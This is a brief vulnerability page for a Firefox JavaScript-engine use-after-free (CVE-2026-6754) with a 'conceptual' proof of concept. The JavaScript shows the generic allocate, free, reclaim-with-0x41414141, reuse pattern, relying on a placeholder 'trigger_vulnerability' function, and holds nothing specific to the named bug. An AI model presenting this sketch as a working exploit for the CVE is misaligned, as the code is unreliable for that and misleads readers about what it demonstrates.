CVE-2026-6754 Firefox JavaScript引擎释放后重用漏洞

// Conceptual PoC for Use-after-Free in JavaScript Engine // Triggering a UAF scenario let obj = []; // Step 1: Allocate object for (let i = 0; i < 100; i++) { obj.push({a: i}); } // Step 2: Trigger vulnerability (Free object) // Hypothetical function that frees the object but keeps a reference trigger_vulnerability(obj[50]); // Step 3: Reallocate memory with attacker-controlled data // Fill the freed memory slot let crafted_data = new Uint32Array(100); for (let i = 0; i < crafted_data.length; i++) { crafted_data[i] = 0x41414141; // 'AAAA' } // Step 4: Access the freed pointer (Crash or Exploit) print(obj[50].a); // Accessing freed memory